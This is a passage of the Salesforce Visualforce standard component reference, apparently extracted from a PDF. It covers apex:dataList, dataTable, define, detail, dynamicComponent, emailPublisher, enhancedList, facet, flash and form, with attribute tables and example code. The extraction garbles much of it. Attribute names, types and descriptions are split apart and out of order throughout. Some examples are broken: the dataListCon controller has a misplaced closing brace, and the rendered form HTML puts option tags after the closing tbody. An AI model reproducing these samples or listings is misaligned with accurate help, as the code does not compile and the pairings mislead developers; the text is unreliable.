If you wish to conditionally display a
<apex:component > wrap it inside a
<apex:outputPanel >
component, and add the conditional expression to its rendered attribute.
Required?
API
Version
Access
10.0
global template
ApexPages.PageReference
The template page used for this component. For this value, specify the name of the Visualforce page or use merge-field syntax to reference a page or PageReference.
Yes 10.0
global
apex:dataList
An ordered or unordered list of values that is defined by iterating over a set of data. The body of the
<apex:dataList >
component specifies how a single item should appear in the list. The data set can include up to 1,000 items.
Example
<!-- Page: -->
<apex:page controller= "dataListCon" >
<apex:dataList value= "{!accounts}" var= "account" >
<apex:outputText value= "{!account.Name}" />
</apex:dataList >
</apex:page >
394
Standard Component Reference apex:dataList
/*** Controller: ***/ public class dataListCon {
List <Account > accounts; public List <Account > getAccounts() {
} if (accounts == null ) accounts = [SELECT Name FROM Account LIMIT 10]; return accounts;
}
The example above renders the following HTML:
<ul id= "thePage:theList" >
<li id= "thePage:theList:0" >Bass Manufacturing </li >
<li id= "thePage:theList:1" >Ball Corp </li >
<li id= "thePage:theList:2" >Wessler Co.
</li >
</ul >
Attributes
Attribute Name Attribute Type
dir first id lang onclick ondblclick onkeydown onkeypress
String
Integer
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
The first element in the iteration that is visibly rendered in the list, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2".
Required?
API
Version
Access
10.0
global
10.0
global
An identifier that allows the dataList component to be referenced by other components in the page.
10.0
global
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the list.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the list twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0
10.0
10.0
10.0
10.0
global global global global global
395
Standard Component Reference apex:dataList
Attribute Name Attribute Type
onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered rows style styleClass title type value var
String
String
String
String
String
String
Boolean
Integer
String
String
String
String
Object
String
Description
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
global
10.0
global The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the list.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the list.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The maximum number of items to display in the list. If not specified, this value defaults to 0, which displays all possible list items.
The style used to display the dataList component, used primarily for adding inline CSS styles.
10.0
10.0
10.0
10.0
10.0
global global global global global
The style class used to display the dataList component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The type of list that should display. For ordered lists, possible values include "1", "a", "A", "i", or "I". For unordered lists, possible values include "disc", "square", and "circle". If not specified, this value defaults to "disc".
The collection of data displayed in the list.
Yes
The name of the variable that should represent one element in the collection of data specified by the value attribute. You can use this variable to display the element in the body of the dataList component tag.
Yes
10.0
10.0
10.0
10.0
10.0
global global global global global
396
Standard Component Reference apex:dataTable
apex:dataTable
An HTML table that is defined by iterating over a set of data, displaying information about one item of data per row. The body of the
<apex:dataTable >
contains one or more column components that specify what information should be displayed for each item of data. The data set can include up to 1,000 items.
For Visualforce pages running Salesforce.com API version 20.0 or higher, an
<apex:repeat >
tag can be contained within this component to generate columns.
See also:
<apex:panelGrid >
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated table's
<tbody >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page controller= "dataTableCon" id= "thePage" >
<apex:dataTable value= "{!accounts}" var= "account" id= "theTable" rowClasses= "odd,even" styleClass= "tableClass" >
<apex:facet name= "caption" >table caption </apex:facet >
<apex:facet name= "header" >table header </apex:facet >
<apex:facet name= "footer" >table footer </apex:facet >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
<apex:facet name= "footer" >column footer </apex:facet >
<apex:outputText value= "{!account.name}" />
</apex:column >
<apex:column >
397
Standard Component Reference apex:dataTable
<apex:facet name= "header" >Owner </apex:facet >
<apex:facet name= "footer" >column footer </apex:facet >
<apex:outputText value= "{!account.owner.name}" />
</apex:column >
</apex:dataTable >
</apex:page >
/*** Controller: ***/ public class dataTableCon {
List <Account > accounts; public List <Account > getAccounts() { if (accounts == null ) accounts = [select name, owner.name from account limit 10];
} return accounts;
}
The example above renders the following HTML:
<table class= "tableClass" id= "thePage:theTable" border= "0" cellpadding= "0" cellspacing= "0" >
<colgroup span= "2" > </colgroup >
<caption >table caption </caption >
<thead >
<tr >
<td colspan= "2" scope= "colgroup" >table header </td >
</tr >
<tr >
398
Standard Component Reference
<td scope= "col" >Name </td >
<td scope= "col" >Owner </td >
</tr >
</thead >
<tfoot >
<tr >
<td scope= "col" >column footer </td >
<td scope= "col" >column footer </td >
</tr >
<tr >
<td colspan= "2" scope= "colgroup" >table footer </td >
</tr >
</tfoot >
<tbody >
<tr class= "odd" >
<td >Bass Manufacturing </td >
<td >Doug Chapman </td >
</tr >
<tr class= "even" >
<td >Ball Corp </td >
<td >Alan Ball </td >
</tr >
<tr class= "odd" >
<td >Wessler Co.
</td >
<td >Jill Wessler </td >
</tr >
</tbody >
399 apex:dataTable
Standard Component Reference apex:dataTable
</table >
Attributes
Attribute Name Attribute Type
align bgcolor border captionClass captionStyle cellpadding cellspacing columnClasses columns
String
String
String
String
String
String
String
String
Integer
Description
The position of the rendered HTML table with respect to the page. Possible values include "left", "center", or "right". If left unspecified, this value defaults to "left".
The background color of the rendered HTML table.
Required?
API
Version
Access
10.0
global
10.0
global
10.0
global The width of the frame around the rendered HTML table, in pixels.
The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
global
10.0
global The style used to display the caption for the rendered HTML table, if a caption facet is specified. This attribute is used primarily for adding inline CSS styles.
The amount of space between the border of each table cell and its contents. If the value of this attribute is a pixel length, all four margins are this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space.
The amount of space between the border of each table cell and the border of the other cells surrounding it and/or the table's edge. This value must be specified in pixels or percentage.
A comma-separated list of one or more classes associated with the table's columns, used primarily to designate which
CSS styles are applied when using an external CSS stylesheet.
If more than one class is specified, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the first column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on.
The number of columns in this table.
10.0
10.0
10.0
10.0
global global global global
400
Standard Component Reference apex:dataTable
Attribute Name Attribute Type
columnsWidth dir first footerClass frame headerClass id lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown
String
String
Integer
String
String
String
String
String
String
String
String
String
String
String
Description
A comma-separated list of the widths applied to each table column. Values can be expressed as pixels (for example, columnsWidth="100px, 100px").
Required?
API
Version
Access
10.0
global
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
10.0
global
10.0
global The first element in the iteration visibly rendered in the table, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2".
The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The borders drawn for this table. Possible values include
"none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specified, this value defaults to "border".
The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
An identifier that allows the dataTable component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the data table.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the data table twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global
401
Standard Component Reference apex:dataTable
Attribute Name Attribute Type
onmousemove onmouseout onmouseover onmouseup onRowClick onRowDblClick onRowMouseDown onRowMouseMove onRowMouseOut onRowMouseOver onRowMouseUp rendered rowClasses
String
String
String
String
String
String
String
String
String
String
String
Boolean
String
Description
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the data table.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the data table.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onRowClick event occurs--that is, if the user clicks a row in the data table.
The JavaScript invoked if the onRowDblClick event occurs--that is, if the user clicks a row in the data table twice.
The JavaScript invoked if the onRowMouseDown event occurs--that is, if the user clicks a mouse button in a row of the data table.
Required?
API
Version
Access
10.0
global
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global
10.0
global The JavaScript invoked if the onRowMouseMove event occurs--that is, if the user moves the mouse pointer over a row of the data table.
The JavaScript invoked if the onRowMouseOut event occurs--that is, if the user moves the mouse pointer away from a row in the data table.
The JavaScript invoked if the onRowMouseOver event occurs--that is, if the user moves the mouse pointer over a row in the data table.
The JavaScript invoked if the onRowMouseUp event occurs--that is, if the user releases the mouse button over a row in the data table.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A comma-separated list of one or more classes associated with the table's rows, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specified, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the first row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on.
10.0
10.0
10.0
10.0
10.0
global global global global global
402
Standard Component Reference apex:dataTable
Attribute Name Attribute Type
rows rules style styleClass summary title value var width
Integer
String
String
String
String
String
Object
String
String
Description
The number of rows in this table.
The borders drawn between cells in the table. Possible values include "none", "groups", "rows", "cols", and "all". If not specified, this value defaults to "none".
The style used to display the dataTable component, used primarily for adding inline CSS styles.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global
10.0
global The style class used to display the dataTable component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
A summary of the table's purpose and structure for Section
508 compliance.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The collection of data displayed in the table.
Yes
The name of the variable that represents one element in the collection of data specified by the value attribute. You can then use this variable to display the element itself in the body of the dataTable component tag.
Yes
The width of the entire table, expressed either as a relative percentage to the total amount of available horizontal space
(for example, width="80%"), or as the number of pixels (for example, width="800px").
10.0
10.0
10.0
10.0
10.0
global global global global global
Facets
Facet Name
caption footer header
Description API
Version
The components that appear in the caption for the table. Note that the order in which a caption facet appears in the body of a dataTable component does not matter, because any facet with name="caption" will control the appearance of the table's caption.
10.0
The components that appear in the footer row for the table. Note that the order in which a footer facet appears in the body of a dataTable component does not matter, because any facet with name="footer" will control the appearance of the final row in the table.
10.0
The components that appear in the header row for the table. Note that the order in which a header facet appears in the body of a dataTable component does not matter, because any facet with name="header" will control the appearance of the first row in the table.
10.0
403
Standard Component Reference apex:define
apex:define
A template component that provides content for an
<apex:insert >
component defined in a Visualforce template page.
See also:
<apex:composition >
,
<apex:insert >
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below.
-->
<apex:page >
<apex:outputText value= "(template) This is before the header" /> <br/ >
<apex:insert name= "header" /> <br/ >
<apex:outputText value= "(template) This is between the header and body" /> <br/ >
<apex:insert name= "body" />
</apex:page >
<!-- Page: page -->
<apex:page >
<apex:composition template= "composition" >
<apex:define name= "header" >(page) This is the header of mypage </apex:define >
<apex:define name= "body" >(page) This is the body of mypage </apex:define >
</apex:composition >
</apex:page >
The example above renders the following HTML:
(template) This is before the header <br/ >
(page) This is the header of mypage <br/ >
(template) This is between the header and body <br/ >
(page) This is the body of mypage
Attributes
Attribute Name Attribute Type
name
String
Description
The name of the insert component into which the content of this define component should be inserted.
Required?
API
Version
Access
Yes 10.0
global
apex:detail
The standard detail page for a particular object, as defined by the associated page layout for the object in Setup. This component includes attributes for including or excluding the associated related lists, related list hover links, and title bar that appear in the standard Salesforce application interface.
404
Standard Component Reference apex:detail
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Account" >
<apex:detail subject= "{!account.ownerId}" relatedList= "false" title= "false" />
</apex:page >
Attributes
Attribute Name Attribute Type
id inlineEdit
String
Boolean
Description
An identifier that allows the detail component to be referenced by other components in the page.
Controls whether the component supports inline editing.
See also:
<apex:inlineEditSupport >
Required?
API
Version
Access
10.0
global
20.0
oncomplete
String 20.0
relatedList relatedListHover rendered rerender
Boolean
Boolean
Boolean
Object
The JavaScript invoked if the oncomplete event occurs--that is, when the tab has been selected and its content rendered on the page.
This attribute only works if inlineEdit or showChatter are set to true.
A Boolean value that specifies whether the related lists are included in the rendered component. If true, the related lists are displayed. If not specified, this value defaults to true.
A Boolean value that specifies whether the related list hover links are included in the rendered component. If true, the related list hover links are displayed. If not specified, this value defaults to true. Note that this attribute is ignored if the relatedList attribute is false, or if the "Enable Related List Hover
Links" option is not selected under Setup | Customize | User
Interface.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
10.0
10.0
10.0
20.0
global global global
405
Standard Component Reference apex:dynamicComponent
Attribute Name Attribute Type Description
This attribute only works if inlineEdit or showChatter are set to true.
Required?
API
Version
Access
showChatter
Boolean 20.0
subject title
String
Boolean
A Boolean value that specifies whether to display the Chatter information and controls for the record.
If this is true, and showHeader on
<apex:page >
is false, then the layout looks exactly as if the
<chatter:feedWithFollowers >
is being used.
If this is true, and showHeader on
<apex:page >
is true, then the layout looks like the regular Chatter UI.
The ID of the record that should provide data for this component.
A Boolean value that specifies whether the title bar is included in the rendered component. If true, the title bar is displayed.
If not specified, this value defaults to true.
10.0
10.0
global global
apex:dynamicComponent
This tag acts as a placeholder for your dynamic Apex components. It has one required parameter— componentValue
—which accepts the name of an Apex method that returns a dynamic component.
The following Visualforce components do not have dynamic Apex representations:
•
<apex:attribute >
•
<apex:component >
•
<apex:componentBody >
•
<apex:composition >
•
<apex:define >
•
<apex:dynamicComponent >
•
<apex:include >
•
<apex:insert >
•
<apex:param >
•
<apex:variable >
Example
<apex:page controller= "SimpleDynamicController" >
<apex:dynamicComponent componentValue= "{!dynamicDetail}" />
</apex:page >
/* Controller */
406
Standard Component Reference apex:emailPublisher public class SimpleDynamicController { public Component.Apex.Detail getDynamicDetail() {
Component.Apex.Detail detail = new Component.Apex.Detail(); detail.expressions.subject = '{!acct.OwnerId}' ; detail.relatedList = false ; detail.title = false ; return detail;
}
// Just return the first Account, for example purposes only public Account acct { get { return [SELECT Id, Name, OwnerId FROM Account LIMIT 1]; }
}
}
Attributes
Attribute Name Attribute Type
componentValue id invokeAfterAction rendered
UIComponent
String
Boolean
Boolean
Description
Accepts the name of an Apex method that returns a dynamic
Visualforce component.
Required?
API
Version
Access
Yes 22.0
22.0
global An identifier that allows the attribute to be referenced by other tags in the custom component definition.
A Boolean value that, when true, specifies that componentValue's Apex method is called after the page's or submit's action method is invoked.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
31.0
22.0
apex:emailPublisher
The email publisher lets support agents who use Case Feed compose and send email messages to customers. You can customize this publisher to support email templates and attachments. This component can only be used in organizations that have Case Feed and
Email-to-Case enabled. Ext JS versions less than 3 should not be included on pages that use this component.
This example displays the email publisher.
<apex:page standardController= "Case" showHeader= "true" >
<apex:emailPublisher id= "myEmailPublisher" entityId= "{!case.id}" width= "600px" title= "Send an Email"
407
Standard Component Reference expandableHeader= "false" autoCollapseBody= "false" showAdditionalFields= "false" fromVisibility= "selectable" toVisibility= "editable" bccVisibility= "hidden" ccVisibility= "hidden" emailBody= "" subject= "" toAddresses= "" onSubmitFailure= "alert('failed');" fromAddresses= "[email protected],[email protected]"
/>
</apex:page > apex:emailPublisher
Attributes
Attribute Name Attribute Type
autoCollapseBody bccVisibility ccVisibility emailBody
String emailBodyFormat
String emailBodyHeight enableQuickText entityId expandableHeader fromAddresses onSubmitFailure
Boolean
String
String
String
Boolean id
Boolean
String fromVisibility
String id
String
String
Description Required?
API
Version
Access
25.0
A Boolean value that specifies whether the email body will be collapsed to a small height when it is empty.
The visibility of the BCC field can be 'editable',
'editableWithLookup', 'readOnly', or 'hidden'.
The visibility of the CC field can be 'editable',
'editableWithLookup', 'readOnly', or 'hidden'.
The default text value of the email body.
The format of the email body can be 'text', 'HTML', or
'textAndHTML'.
The height of the email body in em.
If the quick text autocomplete functionality will be available in the publisher.
Entity ID of the record for which to display the email publisher.
In the current version only Case record ids are supported.
Yes
A Boolean value that specifies whether the header is expandable or fixed.
25.0
25.0
25.0
25.0
25.0
25.0
25.0
25.0
A restricted set of from addresses.
The visibility of the From field can be 'selectable' or 'hidden'.
An identifier that allows the component to be referenced by other components in the page.
The JavaScript invoked if the email failed to be sent.
25.0
25.0
14.0
25.0
global
408
Standard Component Reference apex:enhancedList
Attribute Name Attribute Type
onSubmitSuccess rendered reRender sendButtonName showAdditionalFields showAttachments showSendButton showTemplates subject subjectVisibility
String submitFunctionName title toAddresses
String
Boolean
String
Boolean
String
String
String toVisibility
String verticalResize width
Object
Boolean
Boolean
Boolean
String
Boolean
String
Description
The JavaScript invoked if the email was successfully sent.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
25.0
14.0
global
25.0
The ID of one or more components that are redrawn when the email was successfully sent. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The name of the send button in the email publisher.
A Boolean value that specifies whether the additional fields defined in the publisher layout should be displayed.
25.0
25.0
25.0
A Boolean value that specifies whether the attachment selector should be displayed.
A Boolean value that specifies whether the send button should be displayed.
A Boolean value that specifies whether the template selector should be displayed.
The default value of the Subject.
The visibility of the Subject field can be 'editable', 'readOnly', or 'hidden'.
The name of a function that can be called from JavaScript to send the email.
The title displayed in the email publisher header.
25.0
25.0
25.0
25.0
25.0
25.0
25.0
25.0
The default value of the To field.
The visibility of the To field can be 'editable',
'editableWithLookup', 'readOnly', or 'hidden'.
A Boolean value that specifies whether the publisher allows vertical resizing.
The width of the email publisher in pixels (px) or percentage
(%).
30.0
25.0
apex:enhancedList
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications this component is displayed on the main tab for a particular object. This component has additional attributes that can be specified, such as the height and rows per page, as compared to
<apex:listView >
.
409
Standard Component Reference apex:enhancedList
Note: When an
<apex:enhancedList >
is rerendered through another component's rerender
attribute, the
<apex:enhancedList >
must be inside of an
<apex:outputPanel >
component that has its layout
attribute set to
"block". The
<apex:enhancedList >
component is not allowed on pages that have the attribute showHeader
set to false. You can only have five
<apex:enhancedList >
components on a single page. Ext JS versions less than 3 should not be included on pages that use this component.
See also:
<apex:listView >
.
Example
<apex:page >
<apex:enhancedList type= "Account" height= "300" rowsPerPage= "10" id= "AccountList" />
<apex:enhancedList type= "Lead" height= "300" rowsPerPage= "25" id= "LeadList" customizable= "False" />
</apex:page >
Attributes
Attribute Name Attribute Type
customizable height id listId oncomplete rendered reRender
Boolean
Integer
String
String
String
Boolean
Object
Description Required?
API
Version
Access
14.0
A Boolean value that specifies whether the list can be customized by the current user. If not specified, the default value is true. If this attribute is set to false, the current user will not be able to edit the list definition or change the list name, filter criteria, columns displayed, column order, or visibility. However, the current user's personal preferences can still be set, such as column width or sort order.
An integer value that specifies the height of the list in pixels.
This value is required.
Yes 14.0
The database ID of the desired list view. When editing a list view definition, this ID is the 15-character string after 'fcf=' in the browser's address bar. This value is required if type is not specified.
The Salesforce object for which views are displayed. This value is required if type is not specified.
14.0
14.0
global
The JavaScript that runs after the page is refreshed in the browser. Note that refreshing the page automatically calls this JavaScript, while an inline edit and subsequent save does not.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a
14.0
14.0
14.0
410
Standard Component Reference apex:facet
Attribute Name Attribute Type
rowsPerPage type width
Integer
String
Integer
Description
merge field expression for a list or collection of IDs. Note:
When an enhancedList is rerendered through another component's rerender attribute, the enhanceList must be inside of an apex:outputPanel component that has layout attribute set to "block".
An integer value that specifies the number of rows per page.
The default value is the preference of the current user. Possible values are 10, 25, 50, 100, 200. Note: If you set the value for greater than 100, a message is automatically displayed to the user, warning of the potential for performance degradation.
The Salesforce object for which views are displayed, for example, type="Account" or type="My_Custom_Object__c".
An integer value that specifies the width of the list in pixels.
The default value is the available page width, or the width of the browser if the list is not displayed in the initially viewable area of the viewport.
Required?
API
Version
Access
14.0
14.0
14.0
apex:facet
A placeholder for content that's rendered in a specific part of the parent component, such as the header or footer of an
<apex:dataTable >
.
An
<apex:facet >
component can only exist in the body of a parent component if the parent supports facets. The name of the facet component must match one of the pre-defined facet names on the parent component. This name determines where the content of the facet component is rendered. The order in which a facet component is defined within the body of a parent component doesn't affect the appearance of the parent component.
See
<apex:dataTable >
for an example of facets.
Note: Although you can't represent an
<apex:facet >
directly in Apex, you can specify it on a dynamic component that has the facet. For example:
Component.apex.dataTable dt = new Component.apex.dataTable(); dt.facets.header = 'Header Facet' ;
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Shows a two column table of contacts associated with the account.
The account column headers are controlled by the facets.-->
<apex:page standardController= "Account" >
<apex:pageBlock title= "Contacts" >
411
Standard Component Reference apex:flash
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4" border= "1" >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
{!contact.Name}
</apex:column >
<apex:column >
<apex:facet name= "header" >Phone </apex:facet >
{!contact.Phone}
</apex:column >
</apex:dataTable >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name Attribute Type
name
String
Description Required?
API
Version
Access
10.0
global The name of the facet to be rendered. This name must match one of the pre-defined facet names on the parent component and determines where the content of the facet component is rendered. For example, the dataTable component includes facets named "header", "footer", and "caption".
Yes
apex:flash
A Flash movie, rendered with the HTML object and embed tags.
Example
<apex:page sidebar= "false" showheader= "false" >
<apex:flash src= "http://www.adobe.com/devnet/flash/samples/drawing_1/1_coordinates.swf" height= "300" width= "100%" />
</apex:page >
Attributes
Attribute Name Attribute Type
flashvars
String
Description
The flashvars attribute can be used to import root level variables to the movie. All variables are created before the
Required?
API
Version
Access
14.0
412
Standard Component Reference apex:form
Attribute Name Attribute Type
height id loop play rendered src width
String
String
Boolean
Boolean
Boolean
String
String
Description Required?
API
Version
Access
first frame of the SWF is played. The value should consist of a list of ampersand-separated name-value pairs.
The height at which this movie is displayed, expressed either as a relative percentage of the total available vertical space
(for example, 50%) or as a number of pixels (for example, 100).
Yes
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the flash movie plays repeatedly or just once. If set to true, the flash movie plays repeatedly. If not specified, this value defaults to false.
14.0
14.0
14.0
global
A Boolean value that specifies whether the flash movie automatically begins playing when displayed. If set to true, the flash movie automatically begins playing. If not specified, the value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The path to the movie displayed, expressed as a URL. Note that a flash movie can be stored as a static resource in
Salesforce.
Yes
The width at which this movie is displayed, expressed either as a relative percentage of the total available horizontal space
(for example, 50%) or as a number of pixels (for example, 100).
Yes
14.0
14.0
14.0
14.0
global
apex:form
A section of a Visualforce page that allows users to enter input and then submit it with an
<apex:commandButton >
or
<apex:commandLink >
. The body of the form determines the data that is displayed and the way it's processed. It's a best practice to use only one
<apex:form >
tag in a page or custom component.
As of API version 18.0, this tag can't be a child component of
<apex:repeat >
.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<form >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid case record in the URL.
For example, if 001D000000IRt53 is the case ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
413
Standard Component Reference
<apex:page standardController= "Case" recordSetVar= "cases" tabstyle= "case" >
<apex:form id= "changeStatusForm" >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!cases}" var= "c" >
<apex:column value= "{!c.casenumber}" />
<apex:column value= "{!c.account.name}" />
<apex:column value= "{!c.contact.name}" />
<apex:column value= "{!c.subject}" />
<apex:column headerValue= "Status" >
<apex:inputField value= "{!c.Status}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
The example above renders the following HTML:
<!-- allows you to change the status of your cases -->
<form id= "j_id0:changeStatusForm" name= "j_id0:changeStatusForm" method= "post" action= "/apex/sandbox" enctype= "application/x-www-form-urlencoded" >
<!-- opening div tags -->
<table border= "0" cellpadding= "0" cellspacing= "0" >
<tr >
<td class= "pbTitle" > </td >
<td id= "j_id0:changeStatusForm:j_id1:j_id29" class= "pbButton" >
<input type= "submit" name= "j_id0:changeStatusForm:j_id1:j_id29:j_id30" value= "Save" class= "btn" />
</td >
</tr >
</table >
<div class= "pbBody" >
<table class= "list" border= "0" cellpadding= "0" cellspacing= "0" >
<colgroup span= "5" />
<thead >
<tr class= "headerRow " >
<th class= "headerRow " scope= "col" >Case Number </th >
<th class= "headerRow " scope= "col" >Account Name </th >
<th class= "headerRow " scope= "col" >Name </th >
<th class= "headerRow " scope= "col" >Subject </th >
<th class= "headerRow " scope= "col" >Status </th >
</tr >
</thead >
<tbody >
<tr class= "dataRow even first " >
<td class= "dataCell" > <span >00001000 </span > </td >
414 apex:form
Standard Component Reference apex:form
<td class= "dataCell" > <span >Edge Communications </span > </td >
<td class= "dataCell" > <span >Rose Gonzalez </span > </td >
<td class= "dataCell" > <span >Starting generator after electrical failure </span > </td >
<td class= "dataCell" >
<select >
<option value= "" >--None-</option >
<option value= "New" >New </option >
<option value= "Working" selected= "selected" >Working </option >
<option value= "Escalated" >Escalated </option >
<option value= "Closed" >Closed </option >
</select >
</td >
</tr >
<tr class= "dataRow odd last " >
<td class= "dataCell" > <span >00001027 </span > </td >
<td class= "dataCell" > <span >Joyce Bookings </span > </td >
<td class= "dataCell" > <span >Andy Young </span > </td >
<td class= "dataCell" > <span >Checking paper jam </span > </td >
<td class= "dataCell" >
<select >
<option value= "" >--None-</option >
<option value= "New" >New </option >
</td >
</tr >
</tbody >
<option value= "Working" selected= "selected" >Working </option >
<option value= "Escalated" >Escalated </option >
<option value= "Closed" >Closed </option >
</select >
</table >
</div >
<!-- closing div tags -->
</form >
Attributes
Attribute Name Attribute Type
accept acceptcharset
String
String
Description
A comma-separated list of content types that a server processing this form can handle. Possible values for this attribute include "text/html", "image/png", "image/gif",
"video/mpeg", "text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specifications .
Required?
API
Version
Access
10.0
global
A comma-separated list of character encodings that a server processing this form can handle. If not specified, this value defaults to "UNKNOWN".
10.0
global
415
Standard Component Reference apex:form
Attribute Name Attribute Type
dir enctype forceSSL id lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onreset
String
String
Boolean
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
The content type used to submit the form to the server. If not specified, this value defaults to
"application/x-www-form-urlencoded".
10.0
global
14.0
The form will be submitted using SSL, regardless of whether the page itself was served with SSL. The default is false. If the value is false, the form will be submitted using the same protocol as the page. If forceSSL is set to true, when the form is submitted, the page returned will use SSL.
An identifier that allows the form component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the form.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the form twice.
10.0
10.0
10.0
10.0
global global global global
10.0
global The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
